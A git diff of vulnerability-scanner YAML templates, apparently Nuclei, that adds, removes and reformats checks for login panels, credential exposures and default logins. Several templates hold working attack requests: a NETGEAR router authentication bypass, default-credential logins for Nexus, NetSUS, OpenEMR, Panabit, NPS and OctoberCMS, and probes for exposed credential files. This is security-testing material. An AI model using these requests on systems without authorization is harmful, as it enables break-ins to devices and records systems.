@@ -1,22 +1,14 @@ id: netgear-router-auth-bypass - info: - name: NETGEAR DGN2200v1 - Authentication Bypass + name: NETGEAR DGN2200v1 Router Authentication Bypass author: gy741 severity: high - description: NETGEAR DGN2200v1 router contains an authentication bypass vulnerability. It does not require authentication if a page has ".jpg", ".gif", or "ess_" substrings but matches the entire URL. Any page on the device can therefore be accessed, including those that require authentication, by appending a GET variable with the relevant substring. + description: NETGEAR DGN2200v1 Router does not require authentication if a page has “.jpg”, “.gif”, or “ess_” substrings, however matches the entire URL. Any page on the device can therefore be accessed, including those that require authentication, by appending a GET variable with the relevant substring (e.g., “?.gif”). reference: - https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/ - https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.1 - cwe-id: CWE-287 - metadata: - max-request: 2 tags: netgear,auth-bypass,router - -http: +requests: - raw: - | GET /WAN_wan.htm?.gif HTTP/1.1 @@ -26,15 +18,11 @@ http: GET /WAN_wan.htm?.gif HTTP/1.1 Host: {{Hostname}} Accept: */* - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - "WAN Setup" - -# digest: 490a004630440220580d97c86704caa75ad66351ab001c4a752fc32c03206626c36c8a6e7f3cfda802206704d7741fee52ac6594364d2c1767ad89c5a45cee532c5b88df1d55e6a46c41:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/netscaler-aaa-login.yaml b/poc/auth/netscaler-aaa-login.yaml index ea4d37bab9..441256f6a7 100644 --- a/poc/auth/netscaler-aaa-login.yaml +++ b/poc/auth/netscaler-aaa-login.yaml @@ -1,29 +1,16 @@ id: netscaler-aaa-login - info: - name: NetScaler AAA Login Panel - Detect + name: NetScaler AAA Login Panel author: dhiyaneshDk severity: info - description: NetScaler AAA login panel was detected. - reference: - - https://www.exploit-db.com/ghdb/6898 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: panel,netscaler,login,edb - -http: + reference: https://www.exploit-db.com/ghdb/6898 + tags: panel,netscaler,login +requests: - method: GET path: - '{{BaseURL}}/logon/LogonPoint/tmindex.html' - matchers: - type: word words: - "NetScaler AAA" condition: and - -# digest: 490a0046304402205bfa8177ee68e9094c9857093cf4887e370c5aa126c6cda8f1f9fccfdd5b2d220220597ae2c1e087305ce4f0f426c4e7b1d2ba08718d80571938424bdafb4cb3dd6f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/netsus-default-login-9058.yaml b/poc/auth/netsus-default-login-9058.yaml deleted file mode 100644 index 746b8a73bb..0000000000 --- a/poc/auth/netsus-default-login-9058.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: netsus-default-login - -info: - name: NetSUS Server Default Login - author: princechaddha - severity: high - description: NetSUS Server default admin credentials were discovered. - metadata: - shodan-query: 'http.title:"NetSUS Server Login"' - tags: netsus,default-login - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 - -requests: - - raw: - - | - POST /webadmin/index.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - loginwith=suslogin&username={{username}}&password={{password}}&submit= - attack: pitchfork - payloads: - username: - - webadmin - password: - - webadmin - - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'Location: dashboard.php' - - 'PHPSESSID=' - condition: and - - - type: status - status: - - 302 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/netsus-default-login-9060.yaml b/poc/auth/netsus-default-login-9060.yaml index a936e4fb56..adee76136b 100644 --- a/poc/auth/netsus-default-login-9060.yaml +++ b/poc/auth/netsus-default-login-9060.yaml @@ -3,15 +3,9 @@ info: name: NetSUS Server Default Login author: princechaddha severity: high - description: NetSUS Server default admin credentials were discovered. metadata: shodan-query: 'http.title:"NetSUS Server Login"' tags: netsus,default-login - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: - | @@ -37,5 +31,3 @@ requests: - type: status status: - 302 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/netsus-server-login.yaml b/poc/auth/netsus-server-login.yaml index adbd7b9d06..8ae8adef0c 100644 --- a/poc/auth/netsus-server-login.yaml +++ b/poc/auth/netsus-server-login.yaml @@ -1,32 +1,20 @@ id: netsus-server-login - info: - name: NetSUS Server Login Panel - Detect + name: NetSUS Server Login Panel author: dhiyaneshDK severity: info - description: NetSUS Server login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 metadata: - max-request: 1 - shodan-query: http.title:"NetSUS Server Login" + shodan-query: 'http.title:"NetSUS Server Login"' tags: panel,netsus,login - -http: +requests: - method: GET path: - '{{BaseURL}}/webadmin/' - matchers-condition: and matchers: - type: word words: - 'NetSUS Server Login' - - type: status status: - 200 - -# digest: 4a0a004730450221008a64f8cc8b544ef7875f5fd477b076854ccc4eb1dc9cfe4ac5b7c4d8d2efe91f022059c5dcadd5be1ee6094202127ade75c5ee44c6117e460f5c12367d69c2406511:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/nexus-default-login-9088.yaml b/poc/auth/nexus-default-login-9088.yaml new file mode 100644 index 0000000000..3560137b42 --- /dev/null +++ b/poc/auth/nexus-default-login-9088.yaml @@ -0,0 +1,46 @@ +id: nexus-default-login + +info: + name: Nexus Default Login + author: pikpikcu + severity: high + description: Nexus default admin credentials were discovered. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + tags: nexus,default-login + +http: + - raw: + - | + POST /service/rapture/session HTTP/1.1 + Host: {{Hostname}} + X-Nexus-UI: true + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + username={{base64(username)}}&password={{base64(password)}} + + payloads: + username: + - admin + password: + - admin123 + attack: pitchfork + + matchers-condition: and + matchers: + - type: status + status: + - 204 + + - type: word + words: + - "Server: Nexus" + - "NXSESSIONID" + part: header + condition: and + +# digest: 4b0a00483046022100c45ecf382aa007cfca38e5e787d1e06605e4f93544ee237e29ff85360421f772022100e22e8814df0f932a2b481ebca3ee6786b458639f31c7a37883b5fbc9d7e774af:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/nexus-default-login-9089.yaml b/poc/auth/nexus-default-login-9089.yaml index 9b769c93c0..52f9a00602 100644 --- a/poc/auth/nexus-default-login-9089.yaml +++ b/poc/auth/nexus-default-login-9089.yaml @@ -3,11 +3,6 @@ info: name: Nexus Default Login author: pikpikcu severity: high - description: Nexus default admin credentials were discovered. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 tags: nexus,default-login requests: - raw: @@ -35,5 +30,3 @@ requests: - "NXSESSIONID" part: header condition: and - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/nps-default-login.yaml b/poc/auth/nps-default-login-9144.yaml similarity index 100% rename from poc/auth/nps-default-login.yaml rename to poc/auth/nps-default-login-9144.yaml diff --git a/poc/auth/nps-default-login-9145.yaml b/poc/auth/nps-default-login-9145.yaml index 89a84520c3..ec2e9c00fa 100644 --- a/poc/auth/nps-default-login-9145.yaml +++ b/poc/auth/nps-default-login-9145.yaml @@ -1,10 +1,21 @@ id: nps-default-login + info: name: NPS Default Login author: pikpikcu severity: high + description: NPS default admin credentials were discovered. + reference: + - https://docs.microfocus.com/NNMi/10.30/Content/Administer/Hardening/confCC2b_pwd.htm + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: nps,default-login -requests: + +http: - raw: - | POST /login/verify HTTP/1.1 @@ -13,12 +24,14 @@ requests: Referer: {{Hostname}}/login/index username={{username}}&password={{password}} + payloads: username: - admin password: - 123 attack: pitchfork + matchers-condition: and matchers: - type: word @@ -26,12 +39,16 @@ requests: - "application/json" part: header condition: and + - type: word words: - '"msg": "login success"' - '"status": 1' part: body condition: and + - type: status status: - 200 + +# digest: 490a004630440220606c381c7362f49fbe0d2cd4cda89a9e4a210f0b5fd4b5d5fa2f3046f159dcce022001e59e9ab3ccf71662fdd228b0cb33a3afa348145c16b4f3a2336fe9e26c3fdb:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/nuuno-network-login-9161.yaml b/poc/auth/nuuno-network-login-9161.yaml index 28e6d79875..3adc1da84e 100644 --- a/poc/auth/nuuno-network-login-9161.yaml +++ b/poc/auth/nuuno-network-login-9161.yaml @@ -3,9 +3,8 @@ info: name: NUUO Network Video Recorder Login author: dhiyaneshDK severity: info - reference: - - https://www.exploit-db.com/ghdb/6840 - tags: iot,panel,nuuo + reference: https://www.exploit-db.com/ghdb/6840 + tags: iot requests: - method: GET path: @@ -15,7 +14,6 @@ requests: - type: word words: - 'NUUO Network Video Recorder Login' - part: body - type: status status: - 200 diff --git a/poc/auth/nuuno-network-login.yaml b/poc/auth/nuuno-network-login.yaml deleted file mode 100644 index 3adc1da84e..0000000000 --- a/poc/auth/nuuno-network-login.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: nuuno-network-login -info: - name: NUUO Network Video Recorder Login - author: dhiyaneshDK - severity: info - reference: https://www.exploit-db.com/ghdb/6840 - tags: iot -requests: - - method: GET - path: - - '{{BaseURL}}' - matchers-condition: and - matchers: - - type: word - words: - - 'NUUO Network Video Recorder Login' - - type: status - status: - - 200 diff --git a/poc/auth/oauth2-detect.yaml b/poc/auth/oauth2-detect.yaml new file mode 100644 index 0000000000..6d692b274c --- /dev/null +++ b/poc/auth/oauth2-detect.yaml @@ -0,0 +1,23 @@ +id: oauth2-detect +info: + name: OAuth 2.0 Authorization Server Detection Template + author: righettod + severity: info + description: Try to detect OAuth 2.0 Authorization Server via the "oauth/token" endpoint + tags: tech,oauth +requests: + - method: POST + path: + - "{{BaseURL}}/oauth/token" + body: "grant_type=authorization_code&client_id=xxx&redirect_uri=https%3A%2F%2Fprojectdiscovery.io&code=xxx&client_secret=xxx" + matchers-condition: and + matchers: + - type: status + status: + - 401 + - 400 + condition: or + - type: word + part: body + words: + - 'error":"invalid_client"' diff --git a/poc/auth/octobercms-default-login-9192.yaml b/poc/auth/octobercms-default-login-9192.yaml deleted file mode 100644 index a6822af271..0000000000 --- a/poc/auth/octobercms-default-login-9192.yaml +++ /dev/null @@ -1,59 +0,0 @@ -id: octobercms-default-login -info: - name: OctoberCMS - Default Admin Discovery - author: princechaddha - severity: high - description: OctoberCMS default admin credentials were discovered. - reference: - - https://github.com/octobercms/october - - https://octobercms.com/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - verified: true - shodan-query: http.component:"October CMS" - tags: octobercms,default-login,oss -requests: - - raw: - - | - GET /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - | - POST /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - - _token={{token}}&postback=1&login={{username}}&password={{password}} - cookie-reuse: true - attack: clusterbomb - payloads: - username: - - admin - password: - - admin - - "" - matchers-condition: and - matchers: - - type: word - part: header - words: - - "october_session=" - - "admin_auth=" - condition: and - - type: status - status: - - 302 - extractors: - - type: regex - part: body - name: token - internal: true - group: 1 - regex: - - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' - -# Enhanced by mp on 2022/07/15 diff --git a/poc/auth/octobercms-default-login-9193.yaml b/poc/auth/octobercms-default-login-9193.yaml new file mode 100644 index 0000000000..c8f33662c7 --- /dev/null +++ b/poc/auth/octobercms-default-login-9193.yaml @@ -0,0 +1,53 @@ +id: octobercms-default-login +info: + name: OctoberCMS Default Login + author: princechaddha + severity: high + description: OctoberCMS default administrator account credential. + reference: + - https://github.com/octobercms/october + - https://octobercms.com/ + metadata: + verified: true + shodan-query: http.component:"October CMS" + tags: octobercms,default-login,oss +requests: + - raw: + - | + GET /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + - | + POST /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + _token={{token}}&postback=1&login={{username}}&password={{password}} + cookie-reuse: true + attack: clusterbomb + payloads: + username: + - admin + password: + - admin + - "" + matchers-condition: and + matchers: + - type: word + part: header + words: + - "october_session=" + - "admin_auth=" + condition: and + - type: status + status: + - 302 + extractors: + - type: regex + part: body + name: token + internal: true + group: 1 + regex: + - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' diff --git a/poc/auth/octobercms-default-login.yaml b/poc/auth/octobercms-default-login.yaml index c8f33662c7..a6822af271 100644 --- a/poc/auth/octobercms-default-login.yaml +++ b/poc/auth/octobercms-default-login.yaml @@ -1,12 +1,16 @@ id: octobercms-default-login info: - name: OctoberCMS Default Login + name: OctoberCMS - Default Admin Discovery author: princechaddha severity: high - description: OctoberCMS default administrator account credential. + description: OctoberCMS default admin credentials were discovered. reference: - https://github.com/octobercms/october - https://octobercms.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: verified: true shodan-query: http.component:"October CMS" @@ -51,3 +55,5 @@ requests: group: 1 regex: - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' + +# Enhanced by mp on 2022/07/15 diff --git a/poc/auth/ofbiz-default-credentials.yaml b/poc/auth/ofbiz-default-credentials.yaml index 449c67c5b2..9c83c79a9d 100644 --- a/poc/auth/ofbiz-default-credentials.yaml +++ b/poc/auth/ofbiz-default-credentials.yaml @@ -1,11 +1,9 @@ id: ofbiz-default-credentials - info: name: Apache OfBiz Default Credentials author: pdteam severity: medium tags: ofbiz,default-login - requests: - method: POST path: @@ -18,4 +16,4 @@ requests: words: - "ofbiz-pagination-template" - "Powered by OFBiz" - condition: and \ No newline at end of file + condition: and diff --git a/poc/auth/open-stack-dashboard-login-9321.yaml b/poc/auth/open-stack-dashboard-login-9324.yaml similarity index 100% rename from poc/auth/open-stack-dashboard-login-9321.yaml rename to poc/auth/open-stack-dashboard-login-9324.yaml diff --git a/poc/auth/open-stack-dashboard-login.yaml b/poc/auth/open-stack-dashboard-login.yaml index 3f0c2a747a..9c17c71f30 100644 --- a/poc/auth/open-stack-dashboard-login.yaml +++ b/poc/auth/open-stack-dashboard-login.yaml @@ -1,36 +1,21 @@ id: open-stack-dashboard-login - info: - name: OpenStack Dashboard Login Panel - Detect + name: OpenStack Dashboard author: dhiyaneshDK,hackergautam severity: info - description: OpenStack Dashboard login panel was detected. - reference: - - https://www.exploit-db.com/ghdb/6464 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 2 - tags: panel,openstack,edb - -http: + reference: https://www.exploit-db.com/ghdb/6464 + tags: panel,openstack +requests: - method: GET path: - '{{BaseURL}}/dashboard/auth/login/' - '{{BaseURL}}/horizon/auth/login/?next=/horizon/' - - host-redirects: true - + redirects: true matchers-condition: and matchers: - type: word words: - "Login - OpenStack Dashboard" - - type: status status: - 200 - -# digest: 490a0046304402201edf763c053e7c0209ab042992272c4c2812b1aaaa07ff37d3cb3e26f3c8835b02201340b1390758e5c60b469b7e2fd08071c205a1e52ac15d3eb68774451032cd1f:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/openbmcs-secret-disclosure-9260.yaml b/poc/auth/openbmcs-secret-disclosure-9260.yaml deleted file mode 100644 index b47a3c7e84..0000000000 --- a/poc/auth/openbmcs-secret-disclosure-9260.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: openbmcs-secret-disclosure - -info: - name: OpenBMCS 2.4 - Information Disclosure - author: dhiyaneshDK - severity: high - description: OpenBMCS 2.4 contains an information disclosure vulnerability. The application allows directory listing and exposure of some sensitive files, which can allow an attacker to leverage the disclosed information and gain full access. - reference: - - https://www.exploit-db.com/exploits/50671 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cwe-id: CWE-200 - metadata: - max-request: 1 - shodan-query: http.favicon.hash:1550906681 - tags: misconfig,edb,openbmcs - -http: - - method: GET - path: - - "{{BaseURL}}/debug/" - - matchers-condition: and - matchers: - - type: word - words: - - "change_password_sqls" - - "Index of /debug" - condition: and - - - type: status - status: - - 200 - -# digest: 490a00463044022073f533a2f8d0320492227b718112596694fdfcd1b884fe0396ed1a22440370ae02204fb250db80cc95e534767ce315be596ad551bdaa642e74f66f3db6169c20212b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/openbmcs-secret-disclosure.yaml b/poc/auth/openbmcs-secret-disclosure.yaml new file mode 100644 index 0000000000..6f41d01aa0 --- /dev/null +++ b/poc/auth/openbmcs-secret-disclosure.yaml @@ -0,0 +1,24 @@ +id: openbmcs-secret-disclosure +info: + name: OpenBMCS 2.4 Secrets Disclosure + author: dhiyaneshDK + severity: high + description: The application allows directory listing and information disclosure of some sensitive files that can allow an attacker to leverage the disclosed information and gain full BMS access + reference: https://www.exploit-db.com/exploits/50671 + tags: openbmcs,misconfig + metadata: + shodan-query: http.favicon.hash:1550906681 +requests: + - method: GET + path: + - "{{BaseURL}}/debug/" + matchers-condition: and + matchers: + - type: word + words: + - "change_password_sqls" + - "Index of /debug" + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/openemr-default-login-9269.yaml b/poc/auth/openemr-default-login-9269.yaml index 5a08aa24f2..0d2f25a536 100644 --- a/poc/auth/openemr-default-login-9269.yaml +++ b/poc/auth/openemr-default-login-9269.yaml @@ -1,9 +1,8 @@ id: openemr-default-login - info: - name: OpenEMR Default Login + name: OpenEMR - Default Admin Discovery author: Geekby - description: OpenEMR default login was discovered. + description: OpenEMR default admin credentials were discovered. severity: high reference: - https://github.com/openemr/openemr-devops/tree/master/docker/openemr/6.1.0/#openemr-official-docker-image @@ -15,7 +14,6 @@ info: fofa-query: app="OpenEMR" shodan-query: http.html:"OpenEMR" tags: openemr,default-login - requests: - raw: - | @@ -24,14 +22,12 @@ requests: Content-Type: application/x-www-form-urlencoded new_login_session_management=1&languageChoice=1&authUser={{user}}&clearPass={{pass}}&languageChoice=10 - attack: pitchfork payloads: user: - admin pass: - pass - matchers-condition: and matchers: - type: word @@ -40,7 +36,8 @@ requests: - "main.php?token_main=" - "OpenEMR" condition: and - - type: status status: - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/poc/auth/openemr-default-login.yaml b/poc/auth/openemr-default-login.yaml new file mode 100644 index 0000000000..5a08aa24f2 --- /dev/null +++ b/poc/auth/openemr-default-login.yaml @@ -0,0 +1,46 @@ +id: openemr-default-login + +info: + name: OpenEMR Default Login + author: Geekby + description: OpenEMR default login was discovered. + severity: high + reference: + - https://github.com/openemr/openemr-devops/tree/master/docker/openemr/6.1.0/#openemr-official-docker-image + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + fofa-query: app="OpenEMR" + shodan-query: http.html:"OpenEMR" + tags: openemr,default-login + +requests: + - raw: + - | + POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_login_session_management=1&languageChoice=1&authUser={{user}}&clearPass={{pass}}&languageChoice=10 + + attack: pitchfork + payloads: + user: + - admin + pass: + - pass + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "main.php?token_main=" + - "OpenEMR" + condition: and + + - type: status + status: + - 302 diff --git a/poc/auth/openwrt-default-login.yaml b/poc/auth/openwrt-default-login.yaml index 5bbbca6acc..50dd0fa3e5 100644 --- a/poc/auth/openwrt-default-login.yaml +++ b/poc/auth/openwrt-default-login.yaml @@ -1,18 +1,25 @@ id: openwrt-default-login + info: - name: Opentwrt Default Login + name: Opentwrt - Admin Login Page author: For3stCo1d severity: high + description: An Opentwrt admin login page was discovered. reference: - https://forum.archive.openwrt.org/viewtopic.php?id=16611 metadata: + max-request: 1 shodan-query: http.title:"OpenWrt - LuCI" - tags: openwrt,default-login -requests: + tags: default-login,openwrt + +http: - method: GET path: - "{{BaseURL}}/cgi-bin/luci" + matchers: - type: word words: - 'cgi-bin/luci/admin/system/admin' + +# digest: 4b0a004830460221008f900a97a3c80d4a01927a3363847754aeb95f5804553865aad9c956a45d07f0022100bb0a345862d115387483d56dce0d1d0933bb0cb118128dd0f23336373953ce30:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/openwrt-login-9333.yaml b/poc/auth/openwrt-login-9333.yaml deleted file mode 100644 index 0d5be7ea33..0000000000 --- a/poc/auth/openwrt-login-9333.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: openwrt-login - -info: - name: Opentwrt Login Detect - author: For3stCo1d - severity: info - reference: - - https://openwrt.org - metadata: - shodan-query: http.title:"OpenWrt - LuCI" - tags: openwrt,default-login,router - -requests: - - method: GET - path: - - "{{BaseURL}}" - - redirects: true - max-redirects: 2 - matchers: - - type: word - part: body - words: - - 'OpenWrt' - - extractors: - - type: regex - part: body - group: 1 - regex: - - '(?i)OpenWrt ([A-Z0-9.]+)' \ No newline at end of file diff --git a/poc/auth/openwrt-login.yaml b/poc/auth/openwrt-login.yaml index 31ca217ad9..ed9f78a888 100644 --- a/poc/auth/openwrt-login.yaml +++ b/poc/auth/openwrt-login.yaml @@ -1,27 +1,39 @@ id: openwrt-login + info: - name: Opentwrt Login Detect - author: For3stCo1d + name: Opentwrt Login / Configuration Interface + author: For3stCo1d,TechbrunchFR severity: info reference: - https://openwrt.org + - https://github.com/openwrt/luci metadata: + max-request: 2 shodan-query: http.title:"OpenWrt - LuCI" - tags: openwrt,default-login,router -requests: + tags: openwrt,router,panel + +http: - method: GET path: - "{{BaseURL}}" - redirects: true + - "{{BaseURL}}/cgi-bin/luci/" + + stop-at-first-match: true + host-redirects: true max-redirects: 2 matchers: - type: word part: body words: - '<title>OpenWrt' + - "Powered by LuCI" + condition: or + extractors: - type: regex part: body group: 1 regex: - '(?i)OpenWrt ([A-Z0-9.]+)' + +# digest: 4b0a00483046022100b43839fa626ca1f2651a4a25a48ed400fb0c0301eb428e012733683cb1a21bf1022100a46b090ed6baa7e4b6c0688d066a5b5e42ccedd6d018d88eda7b19a9fa02916c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/oracle-ebs-credentials-9365.yaml b/poc/auth/oracle-ebs-credentials-9365.yaml new file mode 100644 index 0000000000..3457f5ffdd --- /dev/null +++ b/poc/auth/oracle-ebs-credentials-9365.yaml @@ -0,0 +1,28 @@ +id: oracle-ebs-credentials +info: + name: Oracle EBS Credentials Disclosure + author: dhiyaneshDk + severity: medium + reference: + - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf + - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite.pdf + - http://www.davidlitchfield.com/AssessingOraclee-BusinessSuite11i.pdf + tags: config,exposure,oracle +requests: + - method: GET + path: + - '{{BaseURL}}/OA_HTML/jtfwrepo.xml' + matchers-condition: and + matchers: + - type: word + words: + - "password=" + - "<PUSR_LIST>" + part: body + - type: word + words: + - "text/xml" + part: header + - type: status + status: + - 200 diff --git a/poc/auth/oracle-ebs-credentials-9366.yaml b/poc/auth/oracle-ebs-credentials-9366.yaml index 3457f5ffdd..7c457cc82b 100644 --- a/poc/auth/oracle-ebs-credentials-9366.yaml +++ b/poc/auth/oracle-ebs-credentials-9366.yaml @@ -1,17 +1,27 @@ id: oracle-ebs-credentials + info: - name: Oracle EBS Credentials Disclosure + name: Oracle E-Business System Credentials Page - Detect author: dhiyaneshDk - severity: medium + severity: high + description: Oracle E-Business System credentials page was detected. reference: - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite.pdf - http://www.davidlitchfield.com/AssessingOraclee-BusinessSuite11i.pdf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-200 + metadata: + max-request: 1 tags: config,exposure,oracle -requests: + +http: - method: GET path: - '{{BaseURL}}/OA_HTML/jtfwrepo.xml' + matchers-condition: and matchers: - type: word @@ -19,10 +29,14 @@ requests: - "password=" - "<PUSR_LIST>" part: body + - type: word words: - "text/xml" part: header + - type: status status: - 200 + +# digest: 490a0046304402207a5e32bc1aa91021e570639df1e37ee4ab402b13dd41f03c42a45c2c1190fad002201b7ee0c2700d49bc4d79578ddbd1a31790e897e04cdca70c0fdbcd188fbfabb5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/oracle-people-sign-in.yaml b/poc/auth/oracle-people-sign-in.yaml index 141994dbfc..ab3ec1ae87 100644 --- a/poc/auth/oracle-people-sign-in.yaml +++ b/poc/auth/oracle-people-sign-in.yaml @@ -1,27 +1,17 @@ id: oracle-people-sign-in - info: - name: Oracle PeopleSoft Login Panel - Detect + name: Oracle Peoplesoft Sign-in author: idealphase severity: info - description: Oracle PeopleSoft login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 + tags: oracle,panel metadata: - max-request: 1 shodan-query: http.title:"Oracle PeopleSoft Sign-in" - tags: oracle,panel - -http: +requests: - method: GET path: - '{{BaseURL}}' - - host-redirects: true + redirects: true max-redirects: 2 - matchers-condition: and matchers: - type: word @@ -30,9 +20,6 @@ http: - '<title>Oracle PeopleSoft Sign-in' - 'alt="Oracle PeopleSoft Sign-in" title="Oracle PeopleSoft Sign-in"' condition: or - - type: status status: - 200 - -# digest: 490a004630440221009e31becce2ede894377b6ee1c073eade629a90288673f103fbe0218b6f115388021f7f2f38d2be54690e7ee0346eb5cc986ba8db0fbd37534c197f86aedf8fcde6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/panabit-default-login-9437.yaml b/poc/auth/panabit-default-login-9437.yaml index b7da1ac7c5..720a8ce721 100644 --- a/poc/auth/panabit-default-login-9437.yaml +++ b/poc/auth/panabit-default-login-9437.yaml @@ -1,20 +1,20 @@ id: panabit-default-login - info: name: Panabit Gateway Default Login - author: pikpikcu + author: pikpikcu,ritikchaddha severity: high description: Panabit Gateway default credentials were discovered. - tags: panabit,default-login reference: - https://max.book118.com/html/2017/0623/117514590.shtm - https://en.panabit.com/wp-content/uploads/Panabit-Intelligent-Application-Gateway-04072020.pdf + - https://topic.alibabacloud.com/a/panabit-monitoring-installation-tutorial_8_8_20054193.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 - cve-id: cwe-id: CWE-522 - + metadata: + fofa-query: app="Panabit-智能网关" + tags: panabit,default-login requests: - raw: - | @@ -27,31 +27,32 @@ requests: Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="{{username}}" + Content-Disposition: form-data; name="username" - admin + {{username}} ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="{{password}}" + Content-Disposition: form-data; name="password" - panabit + {{password}} ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - payloads: username: - - username + - admin password: - - password + - panabit attack: pitchfork - matchers-condition: and matchers: - type: word + part: body words: - '' - 'urn:schemas-microsoft-com:vml' - part: body condition: and - + - type: word + part: header + words: + - "paonline_admin" - type: status status: - 200 diff --git a/poc/auth/panabit-default-login-9438.yaml b/poc/auth/panabit-default-login-9438.yaml index abdf165779..06d198deff 100644 --- a/poc/auth/panabit-default-login-9438.yaml +++ b/poc/auth/panabit-default-login-9438.yaml @@ -1,25 +1,11 @@ id: panabit-default-login - info: - name: Panabit Gateway - Default Login - author: pikpikcu,ritikchaddha - severity: critical - description: Panabit Gateway default credentials were discovered. - reference: - - https://max.book118.com/html/2017/0623/117514590.shtm - - https://en.panabit.com/wp-content/uploads/Panabit-Intelligent-Application-Gateway-04072020.pdf - - https://topic.alibabacloud.com/a/panabit-monitoring-installation-tutorial_8_8_20054193.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cwe-id: CWE-1391 - metadata: - verified: true - max-request: 1 - fofa-query: app="Panabit-智能网关" - tags: panabit,default-login,intrusive - -http: + name: Panabit Gateway Default Login + author: pikpikcu + severity: high 